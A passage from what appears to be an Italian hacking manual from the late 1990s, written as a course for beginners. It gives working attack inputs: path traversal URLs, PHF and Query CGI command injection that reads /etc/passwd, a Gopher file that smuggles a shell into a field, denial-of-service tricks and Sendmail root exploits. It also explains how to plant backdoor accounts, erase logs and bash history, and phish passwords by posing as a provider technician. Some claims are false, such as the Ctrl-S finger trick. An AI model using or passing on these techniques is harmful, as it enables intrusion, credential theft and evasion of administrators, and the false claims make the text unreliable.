state effettivamente eseguite. Ad esempio, quando un URL viene "chiamato" e
abbiamo ricevuto il contenuto della pagina ad esso associata.
Per impedire al server di terminare l'operazione (e quindi di registrare
l'URL hackerato e il nostro IP nel file di log) usiamo quindi time o date.
Come sappiamo questi due comandi non fanno altro che cambiare ora o data, e
a tale scopo chiedono all'utente il nuovo valore (l'orario, nel caso di time)
all'utente. Ma dal momento che il server non sa rispondere ai comandi ;)
la loro esecuzione non potra` essere completata, il log non verra` scritto
e noi avremo ottenuto quello che volevamo... segretezza :)
Vi ho detto pero` che esistono DUE modi. Ecco il secondo: esiste su Internet
un server molto simile all'Anonimizzatore di cui vi ho parlato in un volume
precedente a questo. Si tratta di iPROXY (http://www.iproxy.com), un server
che offre gratuitamente la possibilita` di collegarsi anonimamente ai siti,
digitando l'URL desiderato (vi dice niente?).
Non e` ovviamente una tecnica, ma un servizio pensato per ben altri scopi
che per l'hacking... ma meglio uno in piu` che in meno ^_^
Tornando ai problemi di sicurezza...
Un altro bug di IIS e` il seguente: aggiungendo uno (o una coppia) di punti
alla fine di un file script, anziche` essere eseguito, il contenuto del file
verra` visualizzato sullo schermo del vostro browser. Un altro bug simile
permette di visualizzare file "segreti" (come pagine protette da password,
documenti che non dovrebbero poter essere visualizzati in quanto "interni"
e qualsiasi altro file presente sull'hard disk del server), in questo modo:
http://www.sito.com/..\..\..\..\qui_va_il_percorso\nome_del_file
Esistono molti altri bugs, per i quali vi rimando (nel caso di Windows) ai
siti sulla sicurezza di Windows.
Passiamo ora agli altri Web server.
Restando in tema di Windows NT/95 un altro server che ha il problema degli
script in cgi-bin e` O'Reilly WebSite (versioni fino alla 1.1b).
Per leggere invece un file log (WebSTAR.LOG) del server WebStar per Macintosh
basta utilizzare il codice escape al posto del punto (nel nome del file):
http://www.sito.com/WebSTAR%20LOG
Tenete presente che i bug fin qui descritti sono applicabili solo ai relativi
software. Non cercate, pertanto, di utilizzare "time" con un server Unix o
roba del genere.
TECNICHE DI BASE: I WEB SERVER UNIX
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Il Web server standard di Unix, Linux, ecc. e` httpd della NCSA.
Tutte le versioni fino alla 1.4 hanno un bug molto frequente nel software
server (lo ritroveremo ad esempio nei server SMTP, vecchi e nuovi).
Si tratta di un problema detto "buffer overflow", che consiste nel riempire
tutta l'area di memoria riservata dal server ai dati, e fargli eseguire un
programma (molto piccolo, e preferibilmente in assembler) scritto da noi.
Essendo una tecnica molto complessa la vedremo piu` avanti, poiche` ci sara`
piu` utile con SMTP (per avere accesso root) che con il Web, in quanto nei
nuovi server questo problema sembra essere stato corretto.
Per la cronaca, lo stesso bug esiste anche nel server Apache (fino alla
versione 1.02).
Esistono poi degli hack (un "hack" e` una tecnica di hacking) che hanno
letteralmente fatto storia.
Relativamente vecchio ma ancora molto utilizzato e` quello del PHF, usato
per hackerare le pagine Web di CIA, FBI e moltissimi altri, piu` o meno
famosi. Prima di spiegare questa tecnica e` bene precisare una cosa: se
state leggendo questi volumi per imparare, non avrete certamente la capacita`
di rendervi "invisibili" agli occhi di un SysAdmin... quindi attenti a non
utilizzare queste tecniche.
Molti siti (come ad esempio unina.it, l'Universita` di Napoli) hanno software
in grado di riconoscere gli hack piu` conosciuti (tra cui PHF e Query).
Potrebbero far sospendere il vostro account Internet, se non denunciarvi...
Ma prima dobbiamo fare un breve corso sul sistema di password di Unix.
TECNICHE DI BASE: UNIX E LE PASSWORD
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Riflettiamo un attimo: qual'e` la parte piu` interessante di un sistema
Unix (o Linux) ? Certamente il file delle password, nel quale si trova, in
forma criptata, anche la password di root (oltre a quelle di tutti gli altri
utenti).
Una classica entry (riga di testo contentente dati) di un file password e`
di questo tipo:
username:4cFJg5aMkC9f:1000:20:nome e cognome:/home/utente:/bin/ksh
I campi sono delimitati dai due punti, e sono:
- Nome utente (username)
- Password criptata
- Numero utente
- Numero gruppo
- GECOS (nome e cognome, oppure altre informazioni sull'utente)
- Directory utente (dalla quale in genere non potete uscire)
- Shell utilizzabile dall'utente (in genere limitata se non siete root)
nel caso in cui uno o piu` campi siano disabilitati, li troverete vuoti (i
due punti saranno vicini) oppure troverete uno slash (/) al loro posto.
Nel caso della shell, in alcuni casi troverete /bin/false che, in pratica,
corrisponde allo slash (e quindi a nessuna shell).
Ma dove si trova il file delle password?
La directory standard e` /etc e il file si chiama passwd, quindi il percorso
completo sarebbe /etc/passwd ma la maggior parte dei nuovi sistemi ha un
meccanismo denominato "shadowing" delle password. Per evitare di prelevare
il file contentente le password, infatti, viene creato un secondo file, il
cui nome in genere e` shadow (in molti casi si trovera` nella directory /etc)
che contiene, in forma un po` diversa da quella appena vista, tutti i campi,
comprese quindi le password (criptate), e NON e` accessibile agli utenti.
Il file passwd, invece, conterra` tutti i soliti campi, ma al posto della
password conterra` un simbolo, detto Token (che in genere e` un asterisco).
Perche` questo? Le password sono criptate, ma e` ancora possibile risalire
ad esse, crackarle (da "crack"). Non si possono decriptare, ma si puo` usare
una lista di parole probabili (detta dizionario), criptarle una per una e
confrontare il risultato con le password criptate in passwd. Se coincidono,
abbiamo trovato una password.
Ovviamente per fare tutto cio` si usano dei programmi appositi. I piu` usati
(e i migliori) sono CrackerJack e HellFire Cracker. Praticamente tutti i
siti Web contenenti materiale per hackers ne hanno una copia.
Tornando alle password, se un sistema usa lo shadowing, per risalire al vero
file delle password, in base al sistema operativo usato potremo trovarlo in
directory differenti, come mostrato in questa tabella tratta dalla HackFAQ:
Sistema Unix Path (percorso) del file Token
----------------------------------------------------------------
AIX 3 (caso 1) /etc/security/passwd !
AIX 3 (caso 2) /tcb/auth/files/p/pippo #
A/UX 3.0s /tcb/files/auth/?/ *
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/p/pippo *
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow *
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database *
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
Ora che sappiamo cosa cercare (e dove), passiamo alle tecniche da impiegare.
Un file /etc/passwd standard puo` spesso essere prelevato tranquillamente
con FTP oppure collegandosi ad un indirizzo come:
http://www.sito.com/ftp/etc/passwd
oppure...
ftp://ftp.sito.com/etc/passwd
tenendo pero` presente che in genere i SysAdmin leggono i log... scaricando
il loro file delle password non li farete certo felici.
Quindi, non appena riuscirete a procurarvi username e password di un account
(che non sia ne` vostro ne` di amici, se ci tenete alle amicizie...) e`
consigliabile utilizzare quello anziche` il vostro account.
Una volta prelevato /etc/passwd diamogli un'occhiata: se il secondo campo di
ciascun rigo (o di almeno un paio di essi) contiene una password criptata,
possiamo essere quasi sicuri che non esista nessuno shadowing.
Dico *quasi* perche` alcuni grossi server stranieri hanno recentemente usato
dei file passwd fittizi. Crackandoli e provando a collegarsi con le password
trovate, non si riesce a collegarsi... perche` sono tutte false e servono a
depistare l'hacker inesperto. E` raro che accada, ma e` da tener presente.
Nel caso dovessimo trovare un Token al posto della password, ci affideremo
alle tecniche di cui parlavamo in principio.
Il primo hack che descriveremo e` quello del PHF.
PHF e` una piccola utility di "agenda telefonica" presente in Unix, Linux,
ecc. Anch'essa puo` essere usata in modo sovversivo, per far eseguire dei
comandi qualsiasi a un server.
Basta collegarsi a un URL del genere:
http://www.sito.com/cgi-bin/phf?Jserver=x&Qalias=x%0A/bin/cat%20/etc/passwd
oppure piu` semplicemente...
http://www.sito.com/cgi-bin/phf?Qalias=x%0A/bin/cat%20/etc/passwd
usando /etc/shadow (o altri, vedi tabella sopra) al posto di /etc/passwd
per "prelevare" il vero file delle password.
Quello che avviene "chiamando" questi URL e` che il file PHF viene eseguito
(vengono passati parametri fittizi, come Jserver e Qalias) e poi si simula
un invio a capo (codice %0A) per inviare un nuovo comando, che nel nostro
caso e` /bin/cat /etc/passwd (%20 equivale allo spazio, ma si puo` usare
anche "+" al suo posto), ma puo` essere *qualsiasi* comando si voglia.
In quel momento, infatti, abbiamo accesso root! =)
E come tali, possiamo eseguire comandi, creare, modificare, distruggere...
NOTA: il file /bin/cat equivale al comando "type" del DOS. Serve quindi a
visualizzare un file, e occasionalmente anche a crearne uno o ad aggiungere
righe di testo ad uno pre-esistente. Supponiamo di voler inserire una riga
nel file "prova": in tal caso, useremo "cat" unitamente ai simboli di
ridirezione > e >> e | (pipe), proprio come nel DOS.
Alcuni esempi:
/bin/cat prova > test crea un file col nome test e vi scrive "prova"
/bin/cat prova >> test aggiunge la parola "prova" al file "test"
Ovviamente per crackare un file shadow che, come abbiamo detto, usa un
formato differente, dovremo prima effettuare il de-shadowing (trasformare
shadow in formato passwd standard) e poi effettuare il cracking con i
normali CrackerJack e simili.
Esistono su Internet programmi appositi per tale operazione.
Una tecnica molto simile a quella del PHF e` quella del Query:
http://www.sito.com/cgi-bin/query?%0A/bin/cat%20/etc/passwd
che funziona in modo analogo a quello gia` visto del PHF.
Dopo il "?" andrebbe inserito qualcosa da richiedere al server, ma poiche`
a noi interessa solo eseguire comandi, ci "limiteremo" ancora una volta a
scriverli dopo il codice %0A.
Un'ultima cosa che puo` tornarci utile e` che molti server hanno un file
chiamato test-cgi nella directory cgi-bin. Se tale file contiene il comando:
echo QUERY_STRING = $QUERY_STRING
potremo, ad esempio, dare un'occhiata alla directory di root ("/*") con il
seguente URL:
http://www.sito.com/cgi-bin/test-cgi?/*
o della directory corrente usando solo "*" anziche` "/*", e cosi` via.
POSTILLA
~~~~~~~~
Che lo si creda o meno, nonostante queste tecniche siano abbastanza vecchie e
utilizzatissime, sono parecchi i server (anche quelli "importanti") che sono
vulnerabili. Spesso inoltre non registrano neppure l'IP Address dell'hacker.
Ovviamente se il server vi risponde qualcosa come "il tuo tentativo di
hackerare questo server sara` comunicato a chi di dovere" (in inglese) state
pur certi che vi troverete nei guai. Quindi aspettate di diventare hackers
prima di mettere in pratica... conoscere le tecniche non basta. Se credete
di essere gia` diventati hackers conoscendole, mi dispiace deludervi... vi
potrete solo mettere nei guai e farvi etichettare per sempre come patetici
"lamer" (termine dispregiativo del gergo hacker per indicare un hacker nato
perdente).
Ancora alcune lezioni sulle tecniche di base per gli altri tipi di servizi
(FTP, SMTP, IRC, ecc.), e potremo iniziare con l'hacking. Sara` necessario
conoscerle bene perche` non torneremo piu` su tali argomenti, a meno che non
sia necessario aggiungere qualcosa.
TECNICHE DI BASE: MISCELLANEA
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Nel volume precedente abbiamo visto come sfruttare alcuni problemi di
sicurezza del software server.
Dal momento che e` necessario conoscere tipo e versione del software e
sistema operativo, dobbiamo sapere come avere tali informazioni.
Ancora una volta ci torna comodo utilizzare Telnet. Bastera` infatti
collegarsi alla porta del servizio interessato per ottenere quasi sempre
informazioni preziose.
Ad esempio, se ci colleghiamo alla porta HTTP, FTP o SMTP, il server ci
"salutera`" indicandoci tipo e versione del software, data locale e altre
utili informazioni.
Altre ancora possiamo ottenerle tramite il programma "finger", che serve a
mostrare informazioni su un dato utente di un dato sistema.
Alcuni siti inoltre ci risparmiano la fatica di cercare: infatti, i Webmaster
dopo aver acquistato un "potente" software server, scrivono orgogliosi sulle
loro pagine "questo sito utilizza il software xxxxx versione yyyyy"...
Un'ulteriore nota sulla porta HTTP: i vecchi server (versioni fino alla 1.3)
di httpd (per Unix e Linux) possono essere crashati richiedento un URL con
un formato sbagliato. Esistono in giro diversi exploit sull'argomento, e
pertanto vi rimando alle mailing list sulla sicurezza su Internet.
NOTA: da ora in poi quando parlero` di Unix mi riferiro` anche a Linux, AIX,
Solaris, ecc. a meno che sia diversamente specificato.
Prima di procedere vorrei farvi notare che non e` necessario scrivere in
tempo reale i vostri comandi in Telnet (anche perche` correte il rischio di
sbagliare e non poter cancellare). Moltissimi client hanno le funzioni Copy
e Paste (Copia e Incolla), che potete usare unitamente a un programma di
videoscrittura (come il Block Notes di Windows) per velocizzare le operazioni
(e ridurre il numero di cifre sulla vostra bolletta telefonica).
Vi bastera` infatti scrivere tutti i comandi nel block notes, usare Copy e
poi, una volta in Telnet, usare Paste. Un consiglio: non usate testi troppo
lunghi, perche` alcuni server potrebbero non essere abbastanza veloci per
riceverli.
Altri programmi vulnerabili a un attacco tramite Telnet sono Finger, Ping,
Gopher, Pine e altri; in pratica, per quasi tutti quelli esistenti esiste
un hack su misura.
Ovviamente per capire di cosa sto parlando vi serviranno i programmi in
questione. Iniziamo da finger.
Usando @ oppure 0 (o uno degli username standard come root, bin, ftp, system,
demo, guest, ecc.) nell'effettuare una richiesta tramite finger e` possibile
ottenere (specie con i vecchi server) svariate informazioni.
Ma supponiamo ora di voler crashare il server finger. Per quale motivo?
Siamo tutti hackers.malicious o crackers? ;) No, il motivo e` un altro:
se il server finger (per Unix) dovesse crashare, noi avremmo accesso root.
Perche`? Se il server crasha, non avremo piu` un "interprete" dall'altra
parte che "filtra" i nostri comandi e ci da informazioni quando scriviamo
finger... ma avremo una specie di connessione diretta alla shell dei comandi
con il livello d'accesso massimo (root, per l'appunto).
Ecco come si fa: (non sbavate, siamo ancora al principio ;)
utilizzando Telnet, il cui scopo e` fornire una connessione e lasciarla nelle
nostre mani, ci colleghiamo alla porta 79 (finger) del server desiderato
(assicuriamoci pero` prima che il sistema operativo sia effettivamente Unix e
che abbia il server finger attivato).
Ora, quello che fa un normale client finger e` semplicemente inviare il
comando "finger nomeutente" e visualizzare le informazioni ricevute.
Nient'altro. E` uno spreco... tanto potere buttato al vento =)
E pensare che finger ha anche accesso a tutte le directory degli utenti, e
a saperlo controllare si potrebbero anche "ritoccare" i vari files...
Ma noi, che abbiamo ben altre intenzioni (buone... lo dico per il NOPT, il
Nucleo Operativo di Polizia Telematica ;) possiamo fare di meglio.
Scrivendo ///* seguito dalla combinazione Ctrl-S accederete a root e
paralizzerete il server (Ctrl-S e` un codice di controllo detto "freeze",
cioe` "congela"). A questo punto la connessione e` in mano vostra.
Il client finger puo` essere usato per un attacco di tipo D.O.S. (Denial Of
Service, cioe` negare l'accesso a un servizio disattivandolo).
Se usiamo finger per collegarci a un server troppe volte (lasciando "aperta"
ogni connessione) dopo un po` il server rifiutera` a chiunque altro di
collegarsi, e l'intero server del sito verra` rallentato; in alcuni casi
potrebbe addirittura crashare.
Per fare una cosa del genere bisognerebbe chiamare decine di volte lo stesso
programma... una soluzione migliore consiste nel programmare da se` una
utility che effettui molte connessioni alla stessa porta dello stesso server.
Se il vostro client lo consente, potete nascondere il vostro IP Address
effettuando un "bounce" (rimbalzo). In pratica si tratta di richiedere a
un server di fare la stessa richiesta a un altro server, per far risultare
come "richiedente" il suo IP Address anziche` il nostro.
Il comando e` nel formato: finger @[email protected]
Non preoccupatevi se non avete capito tutto: vi torneranno utili quando
dovrete studiare un attacco e conoscerete meglio l'Arte.
Nota su finger: alcuni siti (mi sembra di ricordare quello della Microsoft)
disabilitano finger per evitare problemi... in alcuni casi pero` si limitano
a disabilitarlo, NON a cancellarlo dalla directory del server.
Potrete quindi accedervi usando questo URL:
http://www.sito.com/cgi-bin/finger
e per passare i parametri aggiungete "?" e i vostri comandi con il metodo
della codifica degli URL descritta nei volumi precedenti.
Personalmente non ho provato la tecnica del ///*^S su server non-Unix (come
Windows NT e 95) in quanto essa e` basata sulla struttura di Unix. Comunque
potrebbe essere interessante provare; da cosa nasce cosa...
Passiamo ora a Ping.
Combinato a Finger, Ping e` eccellente per effettuare un attacco D.O.S. in
quanto e` utilizzato praticamente ovunque, e non correte il rischio di non
poterlo utilizzare come accade in alcuni casi con Finger.
Per chi non lo conosce, diciamo che Ping e` un programma per controllare la
presenza di un sito su Internet e valutare la sua velocita` di collegamento.
Il funzionamento e` molto simile: aprire molte connessioni a un server, fino
a che questo collassera` per il troppo lavoro richiesto alla CPU.
Se avete la possibilita` di scegliere tra Ping e Ping-f vi consiglio di
scegliere quest'ultimo, in quanto e` estremamente piu` veloce.
Linux e` inoltre vulnerabile a un particolare attacco: da un computer che usi
Windows 95 o NT si puo` usare questo comando:
ping -l 65510 sito.com
dove sito.com e` un sito che usa Linux (versioni fino alla 2.0.20 esclusa).
La macchina si blocchera` e si riavviera` automaticamente.
Potete sperimentare anche altri valori tra 65508 e 65527 in luogo di 65510.
Le vecchie versioni di Gopher hanno un serio bug: creando un file .links su
un server gopher pubblico, contenente queste linee di testo:
Type=8
Name=Sceglimi
Host=;/bin/sh
Port=
Path=
potete collegarvi a Gopher, entrare nella directory dove avete piazzato il
file .links e scegliere la voce "Sceglimi". Il comando messo dopo "Host=;"
verra` eseguito (nel nostro caso, una shell com accesso root).
Dal prossimo volume inizieremo con tecniche raffinate che vi consentiranno
di fare cose impensabili. Siate certi di aver prima imparato quelle sin qui
descritte, o non potrete apprendere quelle piu` complesse.

TECNICHE AVANZATE: SENDMAIL
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Sarete felici di sapere che questo e` l'ultimo volume sulle tecniche
fondamentali e gli exploit. Dal prossimo inizieremo con l'hacking vero e
proprio, e metteremo in pratica (con grande dolore da parte dei SysAdmin)
quello che faremo di volta in volta. Ovviamente mi aspettero` che ora che
avete abbastanza informazioni di base abbiate chiari concetti come server e
client, FakeMail, come fare piccole cose come trovare la versione di un
server, ecc. Se qualcosa non dovesse essere chiaro, non esitate a scrivermi
e ad esporre il problema. Cerchero` di rispondervi non appena avro` trovato
abbatanza tempo. NON chiedetemi qual'e` la password di un sito xxx o dove
trovare la versione pirata di un gioco. Siamo hackers, non pirati.
Qualcuno mi ha chiesto perche` sto scrivendo questa "enciclopedia".
Beh, forse perche` e` quello che ho sempre cercato e non ho mai trovato
quando volevo imparare l'hacking... e poi credo che sia molto piu` completa
di quei piccoli files sulle basi dell'hacking scritti da hackers, per
hackers. Ma quale sarebbe lo scopo? Se uno e` gia` hacker, non ha bisogno
di imparare le basi di quello che conosce gia`... okay, parentesi chiusa.
Quello che partira` dal prossimo volume sara` pertanto un vero e proprio
corso di hacking a puntate (con tanto di supporto via email), dedicato a
tutti coloro che mi hanno scritto e hanno creduto in questo progetto di
divulgazione, siano essi hackers o wannabe (futuri hackers, speriamo).
Iniziamo dunque questo ultimo volume sulle tecniche con una breve descrizione
del servizio di posta elettronica di Unix.
Il programma server che risponde a chi si collega alla porta SMTP (25) e`
chiamato Sendmail. Come abbiamo visto in un precedente volume, all'atto del
collegamento via Telnet avremo una risposta di questo genere:
220 server.com Sendmail 8.6/8.7 12/31/97 ready at Sun, 23 Oct 97 19:44:03 PDT
(il numero di versione di un server lo troviamo anche sbirciando tra gli
headers delle emails che riceviamo quotidianamente).
I numeri 8.6/8.7 dopo la parola "Sendmail" (oppure "Smail") rappresentano la
versione del server SMTP. Mettiamo una volta per tutte in chiaro che SMTP e`
il nome del servizio (della porta 25) e Sendmail e` il nome del programma che
si occupa di gestire SMTP: in pratica Sendmail e` il server SMTP di Unix.
Dunque, perche` dovremmo voler conoscere il numero di versione di Sendmail?
Sendmail e` famoso tra gli hackers come il programma piu` "bacato" esistente.
Basti pensare che praticamente tutte le versioni di Sendmail in giro (anche
quelle piu` nuove) hanno un qualche bug che un hacker puo` sfruttare per
guadagnare illecitamente accesso a un sistema.
E il bello e` il modo in cui lo si fa; non tramite una password o chissa`
cosa, ma dalla parte piu` "innocua" di un sistema informatico: la posta
elettronica!
Vogliamo vedere cosa si puo` fare con Sendmail? :)
Iniziamo con le sottoversioni della 8.6 (piu` precisamente le 8.6.6 e 8.6.7).
Vogliamo una shell root? Niente di piu` facile: bastera` chiamare il
programma Sendmail con il parametro -d seguito da un numero molto grande,
come nel seguente esempio:
Sendmail -d3344556677
Se non avete un accesso diretto al server (e quindi state "lavorando" da
remoto) avrete bisogno di una shell per "chiamare" Sendmail.
Come ottenerla sara` oggetto dei prossimi volumi, ma se andate di fretta
potete sempre prendere un file passwd o shadow e crackarlo per avere accesso
shell. L'ideale sarebbe un account di quale Universita`...
Oppure potreste usare l'hack del PHF (o della Query, come ultima risorsa) per
eseguire il comando senza bisogno di shell interattiva.
Ancora una volta vi consiglio di aspettare di conoscere TUTTA la materia,
prima di mettere in pratica... ancora non sapete come nascondervi in un
sistema, quindi non abbiate fretta. Se proprio volete testare qualcosa,
procuratevi Linux (se non l'avete gia`), installatelo sul VOSTRO computer e
provate.
Per la cronaca, la sottoversione 8.6.9 non e` vulnerabile a quest'attacco, ma
anche qui si puo` avere una shell root, utilizzando un exploit che si trova
sui siti per hackers. Si tratta di un programmino in C (creato da Atreus).
Non lo includo perche` dalla versione 8.6.12 (compresa) in poi tale exploit
non funziona.
NOTA: la maggior parte dei problemi di sicurezza vengono fatti notare e molto
spesso anche risolti proprio dagli hackers. Se non ci fossero gli hackers
saremmo rimasti a versioni... preistoriche, dove bastava scrivere WIZ per
avere tutto un computer ai propri comandi. Un motivo in piu` per smettere di
prendersela con noi se si assume personale incapace di gestire seriamente un
sistema informatico, sia esso in rete o meno.
Ci sono molte altre versioni 8.x.x bacate, ma poiche` si tratta di piccoli
bug tutti diversi e` consigliabile cercare quello che interessa sul sito
di 8lgm (http://www.8lgm.org), che elenca tutti i bug e ne da` un hack
completo per ciascuno, o su L0pht (http://www.l0pht.com).
Unix assegna un livello utente (UID, cioe` User IDentifier) e un livello di
gruppo (GID, cioe` Group IDentifier) a ciascun utente.
Un UID pari a 0 e` (quasi sempre) un utente root.
Se ad esempio nel file passwd di un sito troviamo...
root:7u89vCSK0oL:amministratore:0:0:/:/bin/sh
il primo numero (0) e` UID e il secondo (0) e` GID.
E` possibile sfruttare un bug di Sendmail per forzare il nostro UID a 0... e
diventare root :) Supponiamo infatti di aver crackato la password di un
utente qualsiasi, ma di non riuscire ad accedere a root... come fare?
Utilizzando questo hack sul Sendmail. Bisognera` innanzitutto avere accesso
a una shell; molti utenti hanno una shell, anche se limitata, ma servira`
allo scopo. Se proprio non riuscite a procurarvene una, collegatevi a una
delle tantissime BBS via Telnet presenti su Internet. Esse sono quasi sempre
ad accesso gratuito e usano sistemi Unix, con tanto di shell per gli utenti.
Non sono shell root... ma sapremo accontentarci, dal momento che da una
shell ad accesso limitato si puo` arrivare a root.
Alcuni siti, come quello di Lord Somer (http://www.ilf.net/LordSomer/), hanno
intere liste di BBS Telnet. Dovete solo scegliere quella che preferite.
Dicevamo, come forzare UID a 0 ora che abbiamo una shell?
Digitando quanto segue:
% cat ~/.forward > /etc/passwd" oppure
editando direttamente il file delle password si aggiunga...
nomequalsiasi::numeroutente:numerogruppo:/:/bin/sh
oppure qualcosa di meno vistoso, come un finto "account di sistema" del
tipo...
spoolsys::13:12:system:/var/spool/:/bin/sh
(ovviamente si potra` anche utilizzare una password tra i due :: se non
si vuole consentire a qualcun altro di accedere a questo account)
- IMPORTANTISSIMO: cancellare tutte le tracce prima di lasciare il server
e in particolare...
- tutto quello che viene registrato riguardo al vostro server (host name,
IP Address, date e orari) nei files di log in /var/log e /var/adm
- eliminare sempre il file di history del vostro account (.bash_history),
e per evitare che venga creato di nuovo lo si setti a null con il
comando "ln -s /dev/null .bash_history"
- eliminare il file xferlog contenente il log dei trasferimenti di file
(se ne sono fatti)
Ora, quando vorremo collegarci di nuovo per utilizzare la shell root, non
dovremo fare che collegarci con l'account di un utente qualsiasi e poi, in
base a quello che abbiamo fatto prima, utilizzare la backdoor per accedere a
root, oppure usare la shell "segreta" che abbiamo installato.
Tutto questo andra` fatto solo la prima volta, cioe` quando hackeriamo il
server. Cio` ci consentira` di non far notare un'attivita` hacker su quel
server, cosicche` il nostro account (e soprattutto la shell root ;) durera`
piu` a lungo... anche per moltissimo tempo, se il SysAdmin non sta attento a
quel che accade nel suo sistema.
NOTA IMPORTANTE: se non siete ancora in grado di nascondere le vostre tracce
come descritto sopra, avrete bisogno di tempo per imparare, percio` NON
tentate di hackerare un server. Usate Linux (che spero vi sarete finalmente
installati ;) e provate, usando il comando "man nome_comando" ogniqualvolta
non capite il funzionamento di un particolare comando.
Sperimentate sempre prima in modalita` locale (sul vostro computer), se ne
avete la possibilita`.
Quando dovete analizzare il contenuto di un file di log alla ricerca di
informazioni da cancellare (come il vostro IP Address o l'host name del
vostro provider) potete utilizzare "grep" (un comando Unix per cercare una
stringa di testo in un file) come in questo esempio:
cd /var/log
grep hackers.com *
in questo caso cercheremo l'host name "hackers.com" in tutti (*) i file della
directory /var/log (ma anche /var/adm).
Se l'output (i risultati della ricerca) e` troppo lungo per essere contenuto
in una pagina, bastera` aggiungere il piping al comando "more", cosi`:
grep hackers.com * | more
e potremo comodamente scorrere in alto e in basso la nostra lista.
Se ad esempio troverete qualcosa del genere:
nome_file_log data orario nome_software_server nome_del_vostro_provider.com
altro_file_log data orario nome_software_server nome_del_vostro_provider.com
....
saprete che i file nome_file_log e altro_file_log stanno "registrando" cose
che non vorreste proprio far sapere al SysAdmin!
Come fregarli? E` presto detto... :)
Esiste un file, chiamato syslog.conf (configurazione log di sistema) che si
trova nella directory /etc
Il suo compito e` "dire" al sistema cosa loggare (registrare in file di log)
e dove mettere i log (un altro file interessante e` /etc/login.defs dove
e` possibile abilitare/disabilitare il logging delle operazioni effettuate
con file ad accesso root).
Ci bastera` quindi editare il file /etc/syslog.conf e cancellare i file
"scomodi"... ma non solo. Affinche` i cambiamenti apportati abbiano effetto,
dovremo riavviare il programma syslogd, o piu` precisamente il suo processo
(le operazioni che svolge in background).
Ma prima di riavviare il processo dovremo disattivalo. Per farlo, useremo
il comando "kill" (uccidi), in questo modo: digitiamo "ps -x" per vedere a
quale numero di processo e` associato syslogd. Il primo numero sulla
sinistra sara` quello che ci interessa: in pratica, e` come un numero di
indentificazione che varia da processo a processo.
Digitiamo ora "kill -HUP numero_di_processo" e syslogd verra` disattivato e
subito riavviato. Abbiamo ora ottenuto quello che volevamo: niente piu`
"spie" che possano aiutare il SysAdmin ad identificarci.
NOTA: in Unix le maiuscole e le minuscole sono fondamentali. Attenetevi
sempre alle mie istruzioni e tenete presente che i comandi sono quasi sempre
in minuscolo, mentre le opzioni cambiano effetto a seconda che siano
maiuscole o minuscole.
SOCIAL ENGINEERING
~~~~~~~~~~~~~~~~~~
Social Engineering, ovvero Ingegneria Sociale... cos'e`?
E` il metodo piu` semplice ed efficace per ottenere informazioni che
altrimenti non sapreste dove trovare, come ad esempio la password di un
utente, o addirittura i suoi dati personali (indirizzo, telefono, ecc).
Sono solo esempi, ma con un po` di fantasia e fortuna potete fare davvero di
tutto. Non si tratta, nel caso ve lo stiate chiedendo, di tecniche come
quelle che abbiamo visto fino ad ora: niente Telnet, niente file di log,
solo voi e la vostra intelligenza.
Ma procediamo per ordine.
Fare del "Social Engineering" significa far credere di essere qualcun altro
allo scopo di ottenere qualcosa.
Immaginate di andare dalla segretaria di Bill Gates a chiederle di versare
sul vostro conto un paio di milioni. Al massimo vi ridera` in faccia... :)
Ma se invece fosse lui, il "caro" Bill, a telefonare alla sua segretaria da
una riunione d'affari e dirle di sbrigare un attimino una faccenda urgente
per conto suo.... ho reso l'idea? ;)
Beh, normalmente ci si limita ad utilizzare il Social Engineering per
ottenere password e dati personali, ma l'uso e` lasciato a voi.
Si puo` fare S.E. (Social Engineering) per telefono o via modem (e Internet).
Le regole sono semplici:
- dovete agire "professionalmente" ed essere credibili
- dovete informarvi sull'argomento che state per affrontare
e, se utilizzerete il telefono:
- dovete essere sicuri di voi stessi e di quello che dite
- dovete avere una voce credibile, che non sia cioe` quella di un ragazzo
che vuole sfottere un po` per telefono...
Per quelli che tra voi stanno pensando che il S.E. non funziona: vi basti
sapere che praticamente tutti gli hackers piu` conosciuti utilizzano proprio
il S.E. per ottenere le informazioni di cui hanno bisogno.
E` l'unica "tecnica" che, se fatta come si deve, non fallisce e non diventa
obsoleta con il passare del tempo.
Ma ora veniamo alla pratica.
Supponiamo ad esempio di voler ottenere la password di un utente (sia essa la
password del suo account Internet oppure quella della sua mailbox).
In quale caso potremmo chiedere a un utente la sua password?
Probabilmente, nel caso in cui fossimo il SysAdmin (o un tecnico del servizio
utenti) del suo provider.
In questo caso, non dovremo fare altro che crearci un account di email su
usa.net mailexcite.com che possa sembrare l'indirizzo email di un tecnico
del provider, come ad esempio [email protected] o altro.
Meglio ancora, se avete un account di posta elettronica potete usare iNAME
(http://yahoo.iname.com) per creare un account email "virtuale". Potrete
cioe` crearvi un account come ad esempio [email protected]
(che e` MOLTO piu` credibile di [email protected]) e tutta la posta che
verra` inviata a quell'account sara` ridirottata anonimamente sul vostro
account normale.
Potrete scegliere tra vari nomi di server, e cio` torna a vostro favore.
Se state fingendo di essere del servizio tecnico o help utenti di un provider
scegliete qualityservice.com, topservice.com, oppure cyberservices.com.
Ora viene il bello. Supponiamo di voler ottenere una password di un server
senza allarmare il SysAdmin tentando di prelevare il file delle password :)
Cio` che vi serve e` l'indirizzo di email di un utente qualsiasi di QUEL
server. Come trovarlo: se il server ha una messaggistica, un forum dove
gli utenti possono chiacchierare... vedete li`.
Altrimenti non scoraggiatevi: collegatevi a http://www.whowhere.com oppure a
http://www.four11.com e cercate il server che vi interessa.
Avrete una lista di tutte le email che vi possono interessare, complete di
nome e cognome che vi torneranno certamente utili.
Oppure potete usare finger, se e` abilitato... facendo "finger @server.com"
avrete la lista di tutti gli utenti presenti su quel sistema.
Come vedete, ci sono molti modi per ottenere la stessa cosa.
Fate MOLTA ATTENZIONE a non scrivere all'indirizzo del SysAdmin, del
Webmaster o di uno dei responsabili o dei tecnici del server!
